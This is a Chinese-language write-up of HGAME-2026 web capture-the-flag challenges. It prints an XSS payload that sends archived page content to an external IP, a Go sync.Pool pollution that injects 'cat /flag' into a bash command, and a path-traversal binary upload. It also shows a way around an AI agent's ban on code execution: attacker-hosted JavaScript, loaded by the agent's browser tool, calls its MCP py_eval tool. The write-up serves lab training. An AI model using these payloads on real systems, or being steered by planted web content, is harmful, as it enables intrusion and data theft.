HGAME-2026

tiran Lv2

web

魔理沙的魔法目录

time改大即可

Vidarshop

题目提示uid

发现a,b,c相应对应1,2,3

所以注册1dmin即可成为admin

去抢爆米花提示:

update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢

所以改globals的balance

博丽神社的绘马挂

一个类似留言板东西,尝试xss

然后根据提示:

但是灵梦在整理这些绘马的时候不太用心,出现了一些问题…而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密

所以需要灵梦去访问他的我的归档然后返回其内容

所以改改payload

1
<img src="x" onerror="fetch('http://127.0.0.1/api/archives').then(r=>r.text()).then(t=>fetch('http://47.xxx.xxx.xxx:8848/?data='+btoa(encodeURIComponent(t))))">

MyMonitor

首先给出了源码,先找找利用点

这题的利用点还是挺显然的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
type MonitorStruct struct {
Cmd string `json:"cmd" binding:"required"`
Args string `json:"args"`
}

var MonitorPool = &sync.Pool{
New: func() any {
return &MonitorStruct{}
},
}

func AdminCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return
}
fmt.Println(monitor)
defer monitor.reset()
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput()
if err != nil {
c.JSON(500, gin.H{"error": err.Error(), "output": string(output)})
return
}
c.JSON(200, gin.H{"output": string(output)})
return
}

意思就是说admin会从MonitorPool取值来执行,

所有我们先了解一下sync.Pool

sync.pool 是 golang 语言提供的一种对象缓存机制,通过将对象缓存在 pool 中,可以避免每次创建对象的时候都重新申请内存构造对象,而是直接从 pool 中取出对象使用即可,在频繁创建对象和销毁对象的时候极大的缓解了 gc 压力。

在该题中MonitorPool是公用的,AdminCmd与UserCmd操作的是同一个池子

在UserCmd中使用了ShouldBindJSON来处理json对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
fmt.Println(monitor)
c.JSON(400, gin.H{"error": err.Error()})
return
}
fmt.Println(monitor)
defer monitor.reset()
if monitor.Cmd != "status" {
c.JSON(403, gin.H{"response": "No permission to execute this command"})
return
}
c.JSON(400, gin.H{"response": "Not implemented yet :("})
return
}

尝试捕获错误,如果报错它将直接return执行MonitorPool.Put(monitor),而不进行monitor.reset(),这样可以去污染我们的池子

我们可以尝试构造一个json

1
{"cmd":123,"args":";cat /flag > templates/user.html"}

他会先将args绑定到Args,然后在绑定cmd到Cmd时发现数据类型不匹配报错,然后进行MonitorPool.Put(monitor),接着return,这样就把args参数污染到池子中了

由于是gin.Default()启动,并没有修改模式,所以默认使用debug模式,所以我们可以将执行结果重定向到templates/user.html,稍等一会我们访问/user就可以拿到flag了

easyuu

打开题目发现了两个功能点,一个是文件上传,一个是文件下载

然后还发现了一个叫list_dir的api

然后通过这个api发现了一个zip,然后通过download_file去下载这个文件,然后注意后面要url编码,否则在处理路由时会有问题

解压发现是源码,然后开审

显然在此处他会运行其update下的easyuu这个文件

看似没啥东西,但是我们在之前有一个文件上传的api

先创建一个恶意二进制文件

尝试目录穿越去写文件

然后返回下载env.txt

My Little Assistant

首先题目给出源码如下

有两个mcp工具一个代码执行,一个用来访问链接

但是这个访问链接并不简单,并不是一个curl就完事,而是一个浏览器沙箱

所以这意味着可以执行一些js代码

先看看ai

首先不允许使用代码执行,然后靶机允许访问外网

所以我们的思路就是在我们自己的服务器放一个js代码,让其直接调用mcp的代码执行的接口然后回显结果

1
<script>fetch("http://127.0.0.1:8001/mcp",{method:"POST",body:JSON.stringify({jsonrpc:"2.0",id:1,params:{name:"py_eval",arguments:{code:"import os;x=os.popen('cat /flag').read()"}}})}).then(r=>r.json()).then(d=>{document.documentElement.innerText=JSON.parse(d.result.content[0].text).result})</script>

  • 标题: HGAME-2026
  • 作者: tiran
  • 创建于 : 2026-02-21 20:02:28
  • 更新于 : 2026-02-21 20:02:53
  • 链接: https://www.tiran.cc/2026/02/21/HGAME-2026/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。